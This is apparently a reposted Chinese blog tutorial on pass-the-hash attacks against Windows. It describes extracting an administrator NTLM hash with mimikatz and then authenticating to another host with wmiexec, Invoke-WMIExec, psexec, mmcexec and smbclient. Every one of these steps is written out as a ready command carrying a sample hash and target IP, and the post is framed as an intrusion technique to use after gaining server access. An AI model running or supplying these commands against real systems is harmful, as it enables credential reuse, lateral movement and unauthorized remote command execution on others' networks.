哈希传递常用方法

分手后的思念是犯贱 2024-03-22 15:13 51阅读 0赞

### 前言 ###

随着人们的安全意识逐渐增强，企业内的服务器弱口令也逐渐减少，密码复杂度提高，当我们获取到服务器权限后，可以提取出用户密码hash，但多数情况下显然是难以解密出明文密码。这时候就需要用到内网hash传递技术了。哈希传递利用了NTLM认证机制的缺陷，可以直接利用密码hash值来进行NTLM认证。如果目标主机与我们提取到密码hash值的机器密码相同时，便可直接使用hash值来远程登录目标主机。

### 135端口WMI哈希传递 ###

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具， Windows 98 以后的操作系统都支持 WMI。以下使用Windows7系统演示。

首先在Windows7虚拟机上使用mimikatz工具提取出管理员密码哈希值，在物理机使用wmiexec工具进行连接，此处使用Windows版本wmiexec。注意只允许RID为500的账户才能传递不然会提示*rpc\_s\_access\_denied*。

##### wmiexec #####

![在这里插入图片描述][614e5f2e6c714c689318d6c947381c7e.png]  
如果只获取到NThash，LMhash部分可使用32个0替代。

wmiexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157

![在这里插入图片描述][5974a735d250414f8817149debd33319.png]

##### Invoke-WMIExec.ps1 #####

还可以使用ps的哈希传递脚本，我这里直接导入了*Invoke-WMIExec.ps1*

Invoke-WMIExec -Target 10.50.10.157 -Username Administrator -hash 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 -Command "whoami" -Verbose

![在这里插入图片描述][e4bc3f86ab5f4b90b2583eb33772135b.png]

### 445端口smb哈希传递 ###

##### psexec #####

psexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157

![在这里插入图片描述][3ce8be385e5c49858c1251587f6e398e.png]

##### mmcexec #####

mmcexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157

![在这里插入图片描述][59dfed7c7ec843cf8856da3d8c072a05.png]

##### smbclient #####

smbclient.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157

![在这里插入图片描述][e94df9e43b2343a0bc1d3f07c337fe9a.png]

[614e5f2e6c714c689318d6c947381c7e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/6054938c244d4d51ac3f18fed6cbf46c.png
[5974a735d250414f8817149debd33319.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/5490cb00f5cf46318383a190aa4c0d06.png
[e4bc3f86ab5f4b90b2583eb33772135b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/088606a2ee1f445eb99da92516de5876.png
[3ce8be385e5c49858c1251587f6e398e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/8bfd7a9ec21d4befa3998981cead2dc4.png
[59dfed7c7ec843cf8856da3d8c072a05.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/229cf4797a77439c984d06c5b7ac8c8b.png
[e94df9e43b2343a0bc1d3f07c337fe9a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/18/995e929def864136ad27b38d8dbaa613.png